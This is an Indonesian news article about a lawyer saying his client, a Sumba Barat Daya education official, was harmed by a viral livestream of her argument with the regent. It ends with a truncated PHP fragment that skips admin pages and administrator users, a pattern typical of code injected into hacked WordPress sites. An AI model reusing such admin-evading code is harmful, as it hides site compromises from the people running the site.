Hukum

Kuasa Hukum Katty Horo Sebut, Pemberitaan Medsos yang Diposting Akun Ratu Wula Talu Berdampak Buruk bagi Mental dan Psikis Kliennya

×

Kuasa Hukum Katty Horo Sebut, Pemberitaan Medsos yang Diposting Akun Ratu Wula Talu Berdampak Buruk bagi Mental dan Psikis Kliennya

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Pemeriksaan terhadap staf Dinas P dan K Kabupaten SBD, Catherine Rambu Kapu Horo, SE yang diinisiasi Polres SBD pada Rabu (16/07/2025) dilakukan atas dasar postingan viral di media sosial.

Postingan insiden ribut antara Bupati SBD, Ratu Ngadu Bonu Wulla, ST dan Catherine Rambu Kapu Horo, SE pada Selasa (01/07/2025) ini disiarkan langsung oleh akun Ratu Wulla Talu.

Selaku kuasa hukum yang mendampingi Katty Horo dalam pemeriksaan yang berlangsung hampir delapan jam itu, pengacara Peradi, Semianda Umbu Kabalu, SH, MH menegaskan, postingan akun Ratu Wulla Talu sangat menyudutkan kliennya.

“Perlu kami tegaskan bahwa secara pribadi klien kami merasa sangat dirugikan. Efek negatif akibat pemberitaan di media sosial yang diposting oleh akun Ratu Wulla Talu telah berdampak buruk terhadap mental dan psikis klien kami,” ujarnya, Rabu (16/07/2025) malam.

Ia menyebut, kliennya bersama keluarga merasa sangat dirugikan dimana tindakan dan perbuatan tidak menyenangkan yang dipertontonkan melalui akun tersebut sungguh berdampak buruk.

Apalagi, kata Semianda, kliennya adalah seorang perempuan yang mengemban tugas sebagai abdi negara, memberi pelayanan secara spesifik untuk melayani tunjangan khusus, sertifikasi guru dan lain-lain yang bukan hal mudah.

“Jadi sekiranya kita dapat betul-betul memahami konsep mekanisme dan regulasi yang ada, sehingga tidak kemudian kita membuang sebuah postingan hanya untuk kita menarik simpati bahwa seolah-olah telah terjadi suatu penyimpangan atau pelanggaran. Tapi tidak memahami petunjuk teknis yang ditentukan,” timpalnya.

Dikatakan advokat muda sukses yang berhasil membela perkara mantan Wakil Bupati Sumba Barat, Marten N. Toni yang kemudian terbebas dari tuntutan dalam kasus ring road ini, ada indikator bagi seorang penerima tunjangan sertifikasi.

Seorang dikatakan penerima, calon penerima bahkan bisa menerima tunjangan khusus apabila telah memiliki kualifikasi yang ditentukan dalam petunjuk teknis dan regulasi maupun norma aturan yang mengikat.

Hal inilah yang menjadi pedoman bagi kliennya dalam menjalankan tugas.

“Dia menjalankan tugas dengan penuh rasa tanggung jawab, profesional. Dan kalau kita lihat dari peristiwa video yang beredar viral bahwa klien kami serasa tidak diberi ruang untuk melakukan klarifikasi,” sambungnya.

Kondisi-kondisi demikian menjadi satu pukulan mental yang membuat kliennya sangat down.

Terlepas dari pemeriksaan tadi, sebut Semianda, selaku kuasa hukum pihaknya juga sudah menandatangani surat kuasa khusus.

“Dan tentu kami punya sikap hukum yang tegas untuk menindaklanjuti kira-kira langkah hukum apa yang tepat untuk kita ambil guna memulihkan kedudukan, harkat, dan martabat dari klien kami,” pungkasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>